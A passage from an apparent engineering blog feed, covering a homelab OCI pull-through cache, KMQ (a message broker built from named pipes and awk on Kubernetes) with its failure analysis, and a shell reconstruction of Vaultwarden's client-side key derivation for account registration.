<p>The middle path is to cache the 307 with a short TTL aligned to the signed URL’s expiration. Clients hit the cache, receive the redirect from local storage, follow it directly to the CDN. The cache holds a sequence of small redirect responses, not the multi-megabyte blobs. The CDN does its own caching downstream of that. The savings are real but smaller than they would be with body caching.</p>
<p>GHCR does not redirect. It serves blobs from its own infrastructure. For GHCR, the cache layer stores the actual blob bytes. A 50 MB image pulled twice in a row drops from 16 seconds to 5 seconds on the second pull. cgr.dev and Docker Hub stay around 50% reduction because the redirect URL changes per request and the body trip is uncached. Three upstreams, three behaviors. The cache topology is uniform. The effective speedup is not.</p>
<h3 id="the-bearer-header-that-did-not-fit">The bearer header that did not fit</h3>
<p>Docker Hub issues large bearer tokens. The default <code>client_header_buffer_size</code> and <code>large_client_header_buffers</code> on the factory nginx on this router were sized for normal HTTP traffic, not for JWTs with broad scopes. The first crane pull against the cache returned 400 Request Header Or Cookie Too Large from the TLS terminator. Increasing the buffers in the terminator’s server blocks fixed it.</p>
<p>A small lesson sits there. Every careful decision about cache keys and TTLs and certificate verification can hold up, and a buffer sized for an older internet rejects the connection before any of it runs. Always measure with the actual upstream, not with a synthetic substitute.</p>
<h3 id="validating-the-chain">Validating the chain</h3>
<p>Once the plumbing was up, the same image pull ran twice from the laptop with crane against each of the three upstreams. crane handles the OCI auth dance internally. What gets exercised is a real-world pull, not a synthetic curl with a hand-crafted token.</p>
<p>The outputs:</p>
<ul>
<li>chainguard/static:latest. First pull 2.3s, second 1.3s. Manifests cache, blobs go via redirect.</li>
<li>library/alpine:3.21 from Docker Hub. First pull 3.5s, second 1.7s. Same redirect pattern.</li>
<li>project-zot/zot-minimal:v2.1.15 from GHCR. First pull 16s, second 5s. Real blob caching on disk.</li>
</ul>
<p>A small POSIX shell script runs the full smoke test from any host: DNS resolution, <code>/v2/</code> probes, manifest retrieval, two pulls and a speedup measurement. Output is one line per event in logfmt. Anything can pipe it through awk. CI can read the same lines a human reads. There is no ASCII art, no color codes, no separator characters that would survive a bad terminal. A test result is a fact. A fact is a key-value pair.</p>
<pre><code>ts=2026-05-04T08:42:11Z host=client01 result=pass event=v2_probe target=cache_ghcr endpoint=cache-ghcr.home.arpa:8080 code=401
ts=2026-05-04T08:42:13Z host=client01 result=pass event=cache_eff target=cache_ghcr image=project-zot/zot-minimal:v2.1.15 ms1=16194 ms2=5160 speedup_pct=68
</code></pre>
<p>That is the entire surface area of the test. One line, one event, parseable forever.</p>
<h3 id="what-this-is">What this is</h3>
<p>The separation of questions materializes as separation of machines. Internal artifacts answer to one process, on one host, on one segment, with one trust model. External artifacts answer through a different process, on a different host, with a different trust model. The architecture does not let them be confused in the code because they are not in the same code. That property is harder to add later than to keep from the start.</p>
<p>This is homelab hardware running at homelab budget. The criteria applied to it are not. Default-drop firewalls, segmented networks, content-addressed storage, structured logs, configuration in a git repository even when the deployment is not yet automated.</p>
<h3 id="what-is-left">What is left</h3>
<p>Nothing here is finished. The private registry has no TLS yet. The cache has no metrics export. The smoke test runs by hand. Configuration sits in a git repository, but the deployment is not yet driven from it. There is no Ansible role, no CI pipeline that applies the config to the router, no rollback path that does not involve someone typing on a console. All of that is queued.</p>
<p>What exists, exists in a way that the next iteration can build on. Configuration is text. Decisions are documented. The constraints that decided the architecture are written down. The events the system produces are structured and archivable.</p>
<p>A separate post picks up from here and looks at what becomes possible once a controlled artifact substrate exists locally. Drift detection across release histories, replay of past states, signature workflows that do not depend on a third-party registry being reachable. That belongs in its own piece.</p>
<hr />
<p>References used while building this:</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/opencontainers/distribution-spec/blob/main/spec.md">OCI Distribution Specification</a>, endpoint definitions for <code>/v2/</code>, manifests and blobs.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://zotregistry.dev/v2.1.15/install-guides/install-guide-linux/">zot installation guide</a>, bare-metal Linux deployment.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://nginx.org/en/docs/http/ngx_http_proxy_module.html">nginx http_proxy_module</a>, <code>proxy_cache_path</code>, <code>proxy_cache_valid</code>, <code>proxy_cache_use_stale</code>, <code>proxy_ssl_server_name</code>, <code>proxy_ssl_verify</code>.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/OpenRC/openrc/blob/master/service-script-guide.md">OpenRC service script guide</a>, <code>command_user</code>, <code>command_background</code>, <code>pidfile</code>, <code>checkpath</code>, dependency declarations.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://openwrt.org/docs/guide-user/firewall/firewall_configuration">OpenWrt firewall configuration</a>, zone forwarding rules.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://openwrt.org/docs/guide-user/base-system/dhcp_configuration#static_dns_records">OpenWrt DHCP/DNS configuration</a>, static A records via dnsmasq.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md">crane CLI documentation</a>, client-side validation of OCI registries.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://brandur.org/logfmt">logfmt</a>, structured logging in plain text.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://datatracker.ietf.org/doc/html/rfc8375">home.arpa, RFC 8375</a>, the special-use domain for residential networks.</p>
A message broker from FIFOs and awk: four scenarios, two passes, two failures2026-05-04T00:00:00+00:002026-05-04T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/kmq-broker-from-primitives/<h2 id="a-message-broker-from-fifos-and-awk">A message broker from FIFOs and awk</h2>
<p>First post in a series on KMQ, a homelab message broker built from Unix primitives on Kubernetes. This one documents the original all-FIFO pipeline and four scenarios executed against it. Two passed cleanly. Two failed in ways that motivated the next iteration, written up in <a href="/blog/kmq-ring-buffer-backpressure-block">post 02</a>. A separate aside covers the <a href="/blog/private-registry-upstream-pull-through-cache">private OCI registry and pull-through cache</a> that supports the cluster.</p>
<p>KMQ has a deliberately narrow premise: build a message broker out of named pipes, AWK and Kubernetes primitives. No Kafka. No NATS. No RabbitMQ. FIFOs and a few hundred lines of AWK wired together by container manifests.</p>
<p>The point is not production. The point is implementing the patterns by hand, where the cost of a wrong abstraction is a few seconds of debugging and the reward is a working artifact instead of a cited definition.</p>
<p>This writeup describes what KMQ does, what KMQ does not do and the four scenarios run against the pipeline. Two passed. Two failed in unanticipated ways. The failures carry most of the diagnostic weight.</p>
<hr />
<h3 id="why-a-broker-by-hand">Why a broker, by hand</h3>
<p>Event-driven systems have a mature vocabulary. Backpressure, ordering guarantees, durability tiers, single semantic authority, append-only logs with offset replay. The terms are everywhere. Pub/Sub flow control, Kafka consumer groups, AMQP exchange bindings, SQS DLQ redrive: every serious broker has documentation for each and a long history of decisions encoded in their implementations.</p>
<p>Using those terms without ever implementing one of them from primitives leaves a gap. KMQ is the attempt to close it.</p>
<p>The bet: a broker built from Unix primitives exposes the patterns more honestly than any production system. A FIFO is not a metaphor for backpressure. A FIFO is the kernel-level mechanism backpressure is built on. An append-only log is not a buzzword. An append-only log is a file that responds to <code>tail</code>. A dead letter queue is not a distinguished concept in the protocol. A dead letter queue is a destination file in a routing table written in awk.</p>
<p>If those primitives behave correctly under load and under failure, the patterns become visible from the bottom up. If they fail, the failures are specific and inspectable.</p>
<hr />
<h3 id="the-shape-of-kmq-in-this-post">The shape of KMQ in this post</h3>
<p>KMQ runs as a single Kubernetes Deployment with four containers in one Pod, plus stateless ingress and egress Deployments in front. In this iteration the pipeline is four awk processes connected by three named pipes.</p>
<pre><code>producer
|
| TCP :30672 (NodePort)
v
ingress Deployment socat, n=2, forwards to broker-svc:5673
|
| TCP :5673 (ClusterIP)
v
+===================================================+
| broker Pod replicas=1, strategy: Recreate |
| |
| init container: |
| mkfifo /pipes/{raw, framed, durable} |
| |
| internal-ingress (socat fork per connection) |
| | |
| v /pipes/raw |
| framer.awk seq + ts, resumes from |
| append.log on startup |
| | |
| v /pipes/framed |
| durability.awk tee -> append.log |
| forwards downstream |
| | |
| v /pipes/durable |
| router.awk prefix match -> queue file |
| | |
| v |
| hostPath /logs: |
| test.log |
| jobs.process.log |
| jobs.notify.log |
| dead_letter.log (unmatched routing keys) |
| append.log (audit, source of truth) |
+===================================================+
|
| tail /logs/{queue}.log
v
egress Deployment socat, n=2
|
| TCP :30674 (NodePort)
v
consumer
</code></pre>
<p>Each container does one thing.</p>
<p>The <strong>framer</strong> assigns a monotonically increasing sequence number to each message, prepends a millisecond timestamp and writes to the next pipe. On startup, the framer reads the persistent append log and resumes numbering from the last seq found. This is the offset-replay primitive. Without it, a pod restart resets seq to 1 and downstream consumers cannot tell the new message 1 from the original message 1.</p>
<p>The <strong>durability</strong> stage forks the stream: appends every record to <code>append.log</code> on a hostPath volume and forwards the same record downstream. Four persistence tiers exist: none, batched, per-message, per-message+sync. Tier 1 batches every 100 messages and is the default.</p>
<p>The <strong>router</strong> matches each record’s routing key against a small set of prefixes (<code>test.*</code>, <code>jobs.process.*</code>, <code>jobs.notify.*</code>) and writes the record to the corresponding queue log. Anything unmatched goes to <code>dead_letter.log</code>. This is the broker’s exchange-to-queue binding written as five lines of awk.</p>
<p>Ingress and egress deployments are stateless socat processes: 5672 to broker-svc:5673 inbound, 5674 to consumer connection outbound. No state to lose, so each replicates to two pods.</p>
<p>About 200 lines of awk total, eight YAML manifests, three container images. The only state surviving a pod restart lives in per-queue log files on disk. Everything else is ephemeral by design.</p>
<hr />
<h3 id="four-scenarios-four-named-patterns">Four scenarios, four named patterns</h3>
<p>Four scripts, one per scenario. Each produces a logfmt artifact in a <code>results/</code> directory. Each tests a pattern with a name in the literature and an implementation here.</p>
<h4 id="scenario-1-sequence-resume-across-broker-restart">Scenario 1: sequence resume across broker restart</h4>
<p>Pattern: event sourcing offset replay. Kafka consumers, Pub/Sub ordering guarantees, write-ahead-log recovery in databases. The append log is the durable source of truth. The processes around it are stateless executors.</p>
<p>Test: send 500 messages. Wait for <code>append.log</code> to settle at 500 records. Delete the broker pod. Wait for Kubernetes to schedule a replacement under the <code>Recreate</code> strategy. Send 500 more. Verify the resulting log has 1000 records with seq monotonically increasing and zero gaps.</p>
<p>Result: clean. The framer’s stderr line <code>framer: resuming from seq 500</code> appears in the artifact. The five-record window straddling the kill boundary shows seq 499 and 500 with payload <code>batch1</code>, then seq 501, 502, 503 with payload <code>batch2</code>. The gap checker reads 1000 records, first=1, last=1000, PASS.</p>
<pre><code>499|1777889157430|test.probe|1777889154142|499|batch1
500|1777889157430|test.probe|1777889154143|500|batch1
501|1777889168897|test.probe|1777889168897|1|batch2
502|1777889168898|test.probe|1777889168898|2|batch2
503|1777889168899|test.probe|1777889168899|3|batch2
</code></pre>
<p>The framer-side timestamp jumps by eleven seconds across the boundary, which matches the time the broker pod took to be deleted, rescheduled and become Ready. Sequence numbers do not jump. The new framer instance reads the existing append.log, walks line by line, finds seq=500, continues from 501.</p>
<p>Kafka’s offset replay performs the same operation as the framer with substantially more code and substantially more correctness guarantees. Reading the log at startup, the seq increment, the persistence: those operations exist in any system claiming at-least-once delivery with order. KMQ has them in 25 lines of awk.</p>
<h4 id="scenario-2-routing-and-dead-letter-cardinality">Scenario 2: routing and dead letter cardinality</h4>
<p>Pattern: AMQP-style exchange-to-queue binding. SNS topic-to-subscription routing. Pub/Sub pull subscriptions filtered by attribute. The router is a function from message to destination, with a default catching everything else.</p>
<p>Test: build a stream of 100 messages mixing five categories. Forty with <code>test.probe</code>, twenty with <code>jobs.process.user_*</code>, twenty with <code>jobs.notify.email_*</code>, ten with <code>random.unknown_*</code>, ten with <code>bar.baz_*</code>. Shuffle so routing is per-record, not per-batch. Send. Verify exact cardinality per destination file.</p>
<p>Result: exact. 40 in <code>test.log</code>, 20 in <code>jobs.process.log</code>, 20 in <code>jobs.notify.log</code>, 20 in <code>dead_letter.log</code>. The DLQ sample shows three lines from unmatched categories preserved with original routing keys intact.</p>
<pre><code>step=measure file=test.log observed=40 expected=40
step=measure file=jobs.process.log observed=20 expected=20
step=measure file=jobs.notify.log observed=20 expected=20
step=measure file=dead_letter.log observed=20 expected=20
</code></pre>
<p>Routing is the cheap part of a broker. Twenty lines of awk. The cost lives elsewhere: persistence, ordering, delivery guarantees, ack semantics. Routing always works. The hard part is what happens after the routing decision.</p>
<h4 id="scenario-3-backpressure-boundary-measurement">Scenario 3: backpressure boundary measurement</h4>
<p>First scenario where a clean pass was expected and a measurement appeared instead.</p>
<p>Pattern: kernel-enforced flow control via <code>pipe(7)</code> blocking write semantics. When a downstream reader stops consuming, the kernel pipe buffer fills, writers block in a <code>write()</code> syscall until space opens. No userspace memory growth. No application-level protocol. The kernel handles the bookkeeping.</p>
<p>Test: pause the router with <code>kill -STOP</code> against its gawk PID inside the container’s PID namespace. Burst 20 000 messages from a TCP client. Measure how many reach <code>append.log</code> while the consumer is paused. Read the broker pod’s cgroup memory.current to verify pipe buffering lives in kernel space, not in process address space. Resume the router. Wait for the pipeline to drain. Count survivors.</p>
<p>Expected: the sender blocks at some point. Memory does not grow. After resume, all 20 000 messages drain to <code>append.log</code>.</p>
<p>Observed:</p>
<pre><code>step=verdict
sent=20000
delivered=9142
lost=10858 loss_pct=54
delivered_seq_integrity=PASS
rss_pre_mb=2 rss_paused_mb=9 rss_during_mb=5 rss_post_mb=7
</code></pre>
<p>The sender did not block. socat completed the burst in five seconds and exited cleanly. Memory stayed below 10 MB throughout, which confirms whatever buffering happened was kernel-side. More than half the messages were lost. What survived was perfectly ordered with zero gaps.</p>
<p>That result shape revealed a missing piece in the model. KMQ has kernel-enforced backpressure inside the pipeline. The FIFOs do block. The gawk processes do wait. The buffering does happen at the kernel level. What KMQ does not have is a backpressure protocol at the TCP boundary. The internal-ingress is a socat process forking a gawk per connection. When the FIFO fills, the gawk blocks, but socat does not propagate that block back to the TCP sender via zero-window or RST in any way preventing data loss. Kernel TCP buffers absorb what they can. The rest is dropped on the floor.</p>
<p>The internal pipeline is honest. The boundary at the wire is not.</p>
<p>This distinction is exactly what protocol-level flow control addresses. gRPC stream window updates. HTTP/2 connection-level flow control. Kafka’s <code>produce</code> request acknowledgement loop. The Pub/Sub client library’s <code>flow_control</code> option. Each of those exists because TCP backpressure alone is not sufficient when the application layer wants a delivery guarantee.</p>
<p>This iteration of KMQ does not make that guarantee. The internal pipeline tries, gets close and falls over at the boundary. Measuring the loss rate makes the boundary visible. The number, 54% lost under a paused-consumer burst, is the size of the gap between “blocking writes inside the system” and “delivery semantics at the protocol”.</p>
<h4 id="scenario-4-dead-letter-replay">Scenario 4: dead letter replay</h4>
<p>Pattern: SQS DLQ redrive. Kafka Streams DLQ recovery. Azure Service Bus dead-lettered handling. The poison message workflow. A dead letter queue is not a graveyard. A dead letter queue is a buffer of messages with indeterminate destination, plus a recovery operation reading the DLQ, repairing the routing key per a remediation policy and reinjecting through the normal ingress.</p>
<p>Test: send 70 messages with known routing keys and 30 with <code>unknown.thing_*</code> keys routing to dead_letter.log. Verify routing cardinality. Snapshot the dead_letter.log content with sha256. Read it line by line, rewrite each <code>unknown.thing_N</code> key to <code>test.recovered_N</code> and reinject through the ingress. Wait. Verify recovered records show up in test.log, that dead_letter.log on disk is unchanged (audit trail preserved) and that the full append.log shows continuous sequence numbering across the original send and the recovery.</p>
<p>Step 1 of the test passed. The original 100 messages routed correctly. test.log = 70, dead_letter.log = 30, append.log = 100, sequence integrity PASS.</p>
<p>Step 2 failed. The 30 reinjected messages did not arrive.</p>
<pre><code>step=verdict
test_log_growth=0
expected_growth=30
dead_letter_audit_preserved=true
sequence_integrity=PASS
final_records=100
expected_final=130
</code></pre>
<p>socat reported the messages were sent. The TCP write completed. The records never appeared in append.log. The records never reached durability.</p>
<p>First hypothesis: a buffering bug in the durability stage. KMQ’s tier=1 persistence batches close-and-reopen of the log file every 100 records. Step 1 had hit that boundary exactly, which means the file got closed and flushed. Step 2’s 30 messages would not reach the boundary, leaving them in the gawk stdio buffer indefinitely. Adding <code>fflush(logfile)</code> per record, rebuilding the broker image, pushing to the registry, force-pulling, restarting the broker, retrying.</p>
<p>Same failure. Same shape. 30 messages lost.</p>
<p>Second hypothesis: a race in the container lifecycle. The framer container’s command is <code>gawk -f /svc/framer.awk /pipes/raw</code>. gawk reads the FIFO as an input file. When the last writer of the FIFO closes (the ingress.awk gawk handling step 1’s connection terminating with the TCP close), framer reads EOF and exits. kubelet observes the container terminated with exit 0 and restarts it. The same applies to durability and router downstream.</p>
<p><code>kubectl describe pod</code> showed it directly:</p>
<pre><code>Restart Count: 0 # init-pipes
Restart Count: 0 # internal-ingress
Restart Count: 1 # framer
Restart Count: 1 # durability
Restart Count: 1 # router
</code></pre>
<p>A cascading restart of the three awk-based containers happened between step 1 and step 2. Step 2’s TCP connection landed in the restart window. The new ingress.awk process forked by socat tried to open <code>/pipes/raw</code> for write. No reader on the other side. The open blocked. socat client-side timed out at 500 ms (the closewait default), tore down the connection and the in-flight 30 messages went with it.</p>
<p>The 504 ms duration_ms field in the artifact was the smoking gun, in retrospect. Not the time to send 30 messages. The time socat client took to give up.</p>
<p>A different failure than scenario 3, pointing to the same architectural gap. This iteration of KMQ treats each TCP connection as an independent session with no continuity guarantee. Scenario 3 demonstrated loss at the ingress under load. Scenario 4 demonstrated loss at the ingress under restarts. Two different load profiles, same boundary, same gap.</p>
<p>The fix is the same in both cases. A broker wanting delivery semantics needs producer-side acks with retry from the last persisted offset. The producer holds outstanding messages until an ack arrives. The broker assigns a seq, persists, acks. On restart or boundary loss, the producer retries from the last unacked seq. This is the at-least-once delivery contract Kafka, Pub/Sub and AMQP all implement.</p>
<p>This iteration has the substrate (the append log, the seq numbering, the persistent file). It does not have the protocol. The next post lives where that protocol lives.</p>
<hr />
<h3 id="what-the-scenarios-show-taken-together">What the scenarios show, taken together</h3>
<p>The two passes are clean. Sequence resume works because the append log is content-addressable by seq and reading it on startup is mechanical. Routing works because awk’s <code>~</code> operator and a five-line if/elseif ladder are exactly the right primitive for prefix dispatch.</p>
<p>The two failures are the structural part of this writeup. Both hit the same boundary from different angles. The first under load: a paused consumer plus a 20 000-message burst exposed that the ingress does not propagate FIFO blocks back to TCP senders. The second under restarts: a container lifecycle event in the awk pipeline opened a 500 ms window where new connections cannot complete and any in-flight messages in that window are lost.</p>
<p>Two paths to the same gap is more useful than one. The boundary is not a coincidence of one specific test setup. The boundary is the architecture. The fix is not a tweak to ingress.awk or a buffer size adjustment. The fix is a delivery protocol with acks.</p>
<p>This is the point where vague analogies stop being good enough. Reciting the at-least-once guarantee from documentation is not equivalent to reproducing its absence in a working system, twice, under measurably different conditions, with the size of the gap stated in concrete numbers. 54% loss under burst. 100% loss under restart race.</p>
<hr />
<h3 id="what-this-is-and-what-this-is-not">What this is and what this is not</h3>
<p>KMQ is not a production broker and will not become one. Real production brokers exist, written by people who have spent years inside the consequences of these decisions. KMQ is not competing with them.</p>
<p>KMQ is an instrument. The kind of system built to expose what an understanding of a topic is actually made of. The patterns in event-driven systems are presented in documentation and books as nouns: backpressure, durability, ordering, delivery semantics. Building one of these systems from primitives turns them into verbs. Backpressure is what kernel pipe writes do. Durability is what <code>print >> logfile; close(logfile)</code> does on a hostPath volume. Ordering is what a single-writer append log produces by construction. Delivery semantics is what does not come for free.</p>
<p>The artifacts on disk are not benchmarks. Not throughput numbers. Four files in a results directory, two PASS, two FAIL, all four reproducible from a clean cluster in about thirty minutes. The failures arrive with measured boundaries and a clear architectural diagnosis.</p>
<p>A working production broker handles every one of these patterns and many more. KMQ does not compete with that. KMQ is the version where the simple primitive’s failure point is exact and visible.</p>
<hr />
<h3 id="what-is-queued">What is queued</h3>
<p>A next post with producer acks and replay-from-offset semantics. The substrate exists. The protocol does not.</p>
<p>A daemon-shaped pipeline where the awk processes do not exit on EOF. Either by wrapping each in a <code>while true; do gawk ...; done</code> loop in the container command or by restructuring the FIFOs so no close cascades through the chain. Both are small changes. Both eliminate the 500 ms restart race in scenario 4.</p>
<p>A backpressure protocol at the TCP boundary. socat-fork-exec is the wrong primitive. A custom ingress holding the connection while the FIFO blocks, signaling the client with TCP zero-window or with an application-level NACK, would close the gap measured in scenario 3.</p>
<p>None of those are weekend projects. This iteration was. It produced four data points and a diagnosis of where the system stops being trustworthy.</p>
The canonical encoded request to register a Vaultwarden root account2026-04-25T00:00:00+00:002026-04-25T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/canonical-request-vaultwarden-root-account/<hr />
<p><em>What goes in the body payload when zero-knowledge protocol design rules out
long-lived plaintext passwords.</em></p>
<p>An HTTP POST with a JSON body, a 200 response, the master root account
created. The body itself is the engineering exercise: three of its seven
fields are cryptographic material the client has to derive locally before
the first network call, because the server is never trusted with anything
decryptable. This post reconstructs that derivation against a published
test vector, in pure shell, in a form a CD pipeline can run unattended.</p>
<h2 id="what-the-server-receives">What the server receives</h2>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://bitwarden.com/help/bitwarden-security-white-paper/">Bitwarden is zero-knowledge by design</a>.
The server never sees the master password, never sees the vault keys. What
it stores is material the client derived locally. The endpoint for this is
<code>POST /identity/accounts/register</code> -note <code>identity</code>, not <code>api</code>. A large
number of posts and forum threads from 2021 still indexed by search engines
point to <code>/api/accounts/register</code>, which returns 404 on Vaultwarden 1.35.7.
Bitwarden moved the endpoint during a 2022 client restructuring. A 404 on
registration is not a payload problem.</p>
<p>The registration payload has seven fields. Five are trivial. Three are not:</p>
<ul>
<li><code>masterPasswordHash</code> -the authentication credential, derived from the
password via two rounds of PBKDF2. Not the password. Not a bcrypt hash
of the password. A PBKDF2 output used as input to a second PBKDF2.</li>
<li><code>key</code> -a random 64-byte symmetric key, AES-CBC encrypted and
HMAC-authenticated, wrapped in a format Bitwarden calls a CipherString.</li>
<li><code>keys.encryptedPrivateKey</code> -an RSA-2048 private key in PKCS#8 DER,
wrapped in the same format, using the random key above as the wrapping key.</li>
</ul>
<p>Reproducing those three fields in shell is the problem.</p>
<h2 id="the-five-derivations">The five derivations</h2>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/jcs/rubywarden/blob/master/API.md">The rubywarden API notes publish a test vector</a>.
Every derivation below verifies against it before touching any server.</p>
<pre><code>password = "p4ssw0rd"
email = "nobody@example.com"
kdf_iterations = 5000
</code></pre>
<p><strong>1. masterPasswordHash</strong></p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://datatracker.ietf.org/doc/html/rfc2898#section-5.2">Two PBKDF2-HMAC-SHA256 calls in sequence</a>.
The first derives a 32-byte master key from <code>(password, email, iterations)</code>.
The second derives the authentication hash from <code>(master_key, password, 1)</code>.
The server applies its own 100 000 iterations on top before comparing -the
client’s PBKDF2 iteration count protects against offline attacks on the
transmitted hash; the server’s count protects the stored value. <a rel="noopener nofollow noreferrer" target="_blank" href="https://bitwarden.com/help/bitwarden-security-white-paper/">¹</a></p>
<pre><code>MK=$(openssl kdf -keylen 32 \
-kdfopt digest:SHA256 \
-kdfopt pass:p4ssw0rd \
-kdfopt salt:nobody@example.com \
-kdfopt iter:5000 \
PBKDF2 | tr -d ':[:space:]')
openssl kdf -keylen 32 \
-kdfopt digest:SHA256 \
-kdfopt hexpass:$MK \
-kdfopt salt:p4ssw0rd \
-kdfopt iter:1 \
PBKDF2 | tr -d ':[:space:]' | xxd -r -p | base64
</code></pre>
<p>Expected output: <code>r5CFRR+n9NQI8a525FY+0BPR0HGOjVJX0cR1KEMnIOo=</code></p>
<p><code>openssl kdf</code> requires OpenSSL 3.0 or later. The <code>hexpass:</code> option signals
that the password argument is hex-encoded bytes, not a literal string.
Without it, the second call hashes the ASCII characters of the hex string
-64 printable characters instead of 32 binary bytes- and the hash is wrong
in a way that is silent until login fails.</p>
<p><strong>2. encKey and macKey</strong></p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://datatracker.ietf.org/doc/html/rfc5869">Two subkeys derived from the master key via HKDF-Expand with distinct info labels.</a>.
The same IKM with different labels produces cryptographically independent
outputs. Using the same key for both encryption and MAC would allow the MAC
to leak information about the ciphertext; separate derivation closes that.</p>
<pre><code>ENCKEY=$(openssl kdf -keylen 32 \
-kdfopt digest:SHA256 \
-kdfopt mode:EXPAND_ONLY \
-kdfopt hexkey:$MK \
-kdfopt info:enc \
HKDF | tr -d ':[:space:]')
MACKEY=$(openssl kdf -keylen 32 \
-kdfopt digest:SHA256 \
-kdfopt mode:EXPAND_ONLY \
-kdfopt hexkey:$MK \
-kdfopt info:mac \
HKDF | tr -d ':[:space:]')
</code></pre>
<p><strong>3. CipherString</strong></p>
<p>Bitwarden’s wire format for encrypted data:
<code>"2." + base64(iv) + "|" + base64(ct) + "|" + base64(mac)</code>.
The <code>2.</code> prefix identifies the algorithm: AES-256-CBC + HMAC-SHA256.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://eprint.iacr.org/2000/025">The MAC is computed over <code>IV || ciphertext</code>, not over the plaintext.
That ordering -encrypt-then-MAC- is the only composition of symmetric
encryption and MAC that is generically secure against chosen-ciphertext
attacks</a>. MAC-then-encrypt is the
construction behind POODLE and Lucky13.</p>
<pre><code>IV=$(openssl rand -hex 16)
CT=$(printf '%s' "$PLAINTEXT_HEX" | xxd -r -p | \
openssl enc -aes-256-cbc -K $ENCKEY -iv $IV | \
xxd -p | tr -d '\n')
MAC=$(printf '%s%s' "$IV" "$CT" | xxd -r -p | \
openssl dgst -sha256 -mac HMAC -macopt hexkey:$MACKEY -binary | \
xxd -p | tr -d '\n')
b64() { base64 | tr -d '\n'; }
CS="2.$(printf '%s' $IV | xxd -r -p | b64)|$(printf '%s' $CT | xxd -r -p | b64)|$(printf '%s' $MAC | xxd -r -p | b64)"
</code></pre>
<p><code>base64</code> on GNU coreutils wraps output at 76 characters by default. A
CipherString enclosing 64 bytes of payload has a 108-character base64 block
in the middle. Without <code>tr -d '\n'</code> that block carries a literal newline
into the JSON field, the server returns 422, and the error body says nothing
useful about where the problem is.</p>
<p><strong>4. The generated symmetric key</strong></p>
<p>64 random bytes. This is the user’s data encryption key -the DEK- that
encrypts every vault entry. It never travels in the clear. Before
registration it is wrapped in a CipherString using <code>encKey</code> and <code>macKey</code>
from step 2.</p>
<pre><code>GSK_HEX=$(openssl rand -hex 64)
# Shell variables cannot hold arbitrary binary safely.
# Write to a temp file and pass the path.
printf '%s' "$GSK_HEX" | xxd -r -p > "$TMPDIR/gsk.bin"
KEY_CS=$(bw_cipherstring_encrypt "$TMPDIR/gsk.bin" "$ENCKEY" "$MACKEY")
</code></pre>
<p><strong>5. RSA-2048 keypair</strong></p>
<p>Required by the protocol regardless of whether the account ever shares
anything. When items are shared between users, the sender encrypts the
symmetric key of the shared collection with the recipient’s public key.
The server needs the public key at registration time.</p>
<p>The private key goes in PKCS#8 DER format, wrapped in a CipherString. The
wrapping key is the GSK split in half: first 32 bytes as the AES key, last
32 as the HMAC key.</p>
<pre><code>openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 \
-outform DER -out "$TMPDIR/priv.der"
PUBLIC_KEY=$(openssl pkey -inform DER -in "$TMPDIR/priv.der" \
-pubout -outform DER | base64 | tr -d '\n')
GSK_ENC=${GSK_HEX:0:64}
GSK_MAC=${GSK_HEX:64:64}
ENCRYPTED_PRIVATE_KEY=$(bw_cipherstring_encrypt \
"$TMPDIR/priv.der" "$GSK_ENC" "$GSK_MAC")
</code></pre>
<p>The public key in base64 is consistently 392 characters for RSA-2048 in
SPKI DER. The encrypted private key lands around 1672 characters. Those
numbers are useful sanity checks: if they are off, something earlier in the
derivation chain is wrong.</p>
<h2 id="the-pattern-underneath">The pattern underneath</h2>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html#enveloping">What just happened is envelope encryption</a>.
The master password never leaves the client. From it a KEK is derived. The
KEK wraps the DEK -the GSK. The DEK encrypts the data. When the master
password changes, only the wrapped DEK is re-encrypted. The vault entries
are untouched. The same structure appears in AWS KMS, LUKS, SOPS+age, and
every serious key management system built in the last twenty years.</p>
<p>That last point matters operationally: password rotation is cheap. The vault
does not get re-encrypted. Only the CipherString that wraps the GSK changes.</p>
<h2 id="provision-then-rotate">Provision then rotate</h2>
<p>The master password used for registration is a bootstrap credential, not a
long-lived secret. The pattern is older than IaC and shows up everywhere
credentials need to enter a system that has none yet:</p>
<ul>
<li>cloud-init injects an initial password on first boot, then expires it.</li>
<li>kubeadm issues bootstrap tokens valid for 24 hours.</li>
<li>Terraform commonly generates admin passwords inside an apply, stores
them in a secrets manager, and rotates them in the same run.</li>
</ul>
<p>For Vaultwarden the sequence is:</p>
<ol>
<li>Generate a strong password with <code>openssl rand -base64 32</code>.</li>
<li>POST to <code>/identity/accounts/register</code> with the derived material.</li>
<li>POST to <code>/identity/connect/token</code> to obtain an access token.</li>
<li>POST to <code>/api/accounts/api-key</code> to obtain a personal API key.</li>
<li>Store the API key (<code>client_id</code> + <code>client_secret</code>) in an encrypted
secrets store.</li>
<li>Rotate the master password via <code>POST /api/accounts/password</code>,
replacing the wrapped DEK with a fresh KEK derivation. Vault entries
are not re-encrypted, only the wrapper changes.</li>
</ol>
<p>Steps 1 to 5 happen inside a single pipeline run. Step 6 closes it. A
bootstrap password that appeared in a GitHub Actions log, a shell history
file, or a pipeline variable is already exposed -rotation is what makes
that exposure bounded. The window ends when step 6 completes, not when
the operator remembers to act.</p>
<h2 id="the-regression-test">The regression test</h2>
<p>The rubywarden vector is a fixed point. Given those three inputs, the
<code>masterPasswordHash</code> output is deterministic. If anything in the derivation
chain changes, the hash changes.</p>
<pre><code>bash vaultwarden/tests/test-vectors.sh
</code></pre>
<pre><code>ts=2026-04-25T04:38:37.430Z host=workstation service=test-vectors section=setup event=start
